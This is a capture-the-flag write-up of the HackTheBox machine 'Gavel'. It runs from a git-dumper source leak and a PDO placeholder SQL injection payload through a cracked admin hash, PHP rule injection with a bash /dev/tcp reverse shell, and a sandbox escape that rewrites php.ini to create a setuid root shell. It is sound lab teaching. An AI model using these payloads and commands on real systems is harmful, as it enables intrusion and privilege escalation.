0VLD ← Writeups
Writeup

Gavel

July 20, 2026 HackTheBox

The chain in one line: an exposed .git folder hands over the entire app's source → reading it reveals a SQL injection that shouldn't be possible with prepared statements, but is → that dumps admin's password hash → admin can set "rules" that get run as literal PHP code → shell → a root daemon that runs submitted PHP in a locked-down sandbox has one function left enabled that's enough to escape it.

1. Recon

22/tcp  ssh    OpenSSH 8.9p1 (Ubuntu)
80/tcp  http   Apache 2.4.52  (redirects to gavel.htb)

Re-scanning by hostname turns up something the IP scan missed:

http-git: gavel.htb/.git/  →  Git repository found!

2. Grabbing the source

git-dumper http://gavel.htb/.git src/

This walks the exposed .git/objects folder and rebuilds the actual working directory from it — effectively downloading the entire live codebase for free.

admin.php  bidding.php  includes/  index.php  inventory.php  login.php  register.php  rules/

3. What the code shows

A PHP rule engine that runs raw code. Every auction has a rule column, and every bid triggers this:

runkit_function_add('ruleCheck', '$current_bid, $previous_bid, $bidder', $rule);
$allowed = ruleCheck($current_bid, $previous_bid, $bidder);

runkit_function_add() compiles a string straight into a live PHP function. $rule is a raw string sitting in the database — if it can be edited, that's remote code execution the moment someone bids.

Who can edit it? admin.php, gated to accounts with role === 'auctioneer':

$stmt = $pdo->prepare("UPDATE auctions SET rule=?, message=? WHERE id=?");

So: get the auctioneer role, and RCE is one bid away.

A near-miss SQL injection. inventory.php builds a sort column like this:

$col = "`" . str_replace("`", "", $sortItem) . "`";
$stmt = $pdo->prepare("SELECT $col FROM inventory WHERE user_id=? ORDER BY item_name ASC");

Backticks are stripped, then re-added — normally that's a dead end, since backticks quote identifiers, not values, and there's no way to break out of them.

4. The bypass — smuggling a second placeholder

PDO fills in ? placeholders after the query text is already built. The trick: if the "safe" identifier slot can be made to contain its own extra ?, PDO ends up with two placeholders but only one value supplied — so that single value gets used to fill both. One of the technique's originators (Searchlight Cyber) published the full mechanics of this under the name A Novel Technique for SQL Injection in PDO's Prepared Statements — worth reading directly if the "why" here isn't obvious, since it hinges on where PDO's automatic value-escaping lands relative to a deliberately broken identifier string.

In practice, that means a request like this returns real database output:

inventory.php?sort=\?;--+-&user_id=x`+FROM+(SELECT+VERSION()+AS+`%27x`)y;--+-

Walking information_schema the normal way from there finds a users table, and dumping it gets:

auctioneer : $2y$10$MNkDHV6g16FjW/lAQRpLiuQXN4MVkdMuILn0pLQlC2So9SgH5RTfS : auctioneer

5. Cracking it, becoming admin

hashcat -m 3200 hash.txt rockyou.txt
# auctioneer : midnight1

Logging in as auctioneer puts the Admin Panel on the nav bar — and with it, the rule field from step 3.

6. RCE → shell

Set an auction's rule to:

system('bash -c "bash -i >& /dev/tcp/<my_ip>/443 0>&1"'); return true;

Place any valid bid on that auction — that's what actually triggers ruleCheck(). A shell lands as www-data.

7. Root

Enumeration:

Finds Notes
/opt/gavel/gaveld Custom root daemon
/usr/local/bin/gavel-util Client binary — submit, stats, invoice
auctioneer:midnight1 Reused password — works for su, not SSH (DenyUsers auctioneer in sshd config)

su - auctioneer gets user.txt.

Reverse engineering the daemon. Pulling gaveld off the box and loading it in Ghidra shows: it listens on a Unix socket, only accepts connections from the gavel-seller group, and its submit command runs a user-supplied YAML rule field through a sandboxed PHP interpreter before saving anything — using a locked-down php.ini:

open_basedir=/opt/gavel
disable_functions=exec,system,eval,file_get_contents,fopen, ... (long list)

Almost everything useful is blocked — except file_put_contents, and open_basedir still allows writing anywhere under /opt/gavel. That includes the very php.ini enforcing all of this.

Two-step escape:

# step 1: rewrite the sandbox's own rulebook
rule: "file_put_contents('/opt/gavel/.config/php/php.ini', \"open_basedir=\ndisable_functions=\n\"); return false;"
# step 2: the next submission runs under the new, open rules
rule: "system('cp /bin/bash /home/auctioneer/rootbash; chmod 6777 /home/auctioneer/rootbash;'); return false;"
gavel-util submit step1.yaml
gavel-util submit step2.yaml
~/rootbash -p

Root shell, root.txt readable.

(There's also a one-shot version of this: the daemon reads a RULE_PATH environment variable and will use whatever php.ini it points to instead of the default — no overwrite needed if that variable is set before calling gavel-util.)

One gotcha worth knowing: dropping the payload in /tmp instead of /home/auctioneer looks like it works but the file vanishes — Apache's systemd service runs with PrivateTmp=true, so anything spawned from www-data (including an su'd shell) sees its own private /tmp, invisible to the rest of the system. gaveld isn't part of that service, so it writes to the real /tmp — just not one the web shell can see.

Summary

exposed .git → full source recovered
  → PDO backtick-quoting bypass → SQLi → dumps auctioneer's hash
  → cracked → admin panel access
  → auction "rule" field = raw PHP, executed via runkit on every bid
  → RCE → shell as www-data
  → password reuse → shell as auctioneer
  → root daemon sandboxes submitted PHP, but its own config is writable
  → escape the sandbox → root

Proof of Concept

I scripted the full chain — login, rule injection, bid trigger, www-data shell, both root steps. Grab it with:

wget "https://github.com/00vld/proof_of_concept/blob/main/HTB/gavel.py"

Run it:

python3 gavel.py <target_ip>

Needs Burp listening on 127.0.0.1:8080 and ports 9001/4444 free — those are the two shell listeners it opens.

Successfully [Pwned].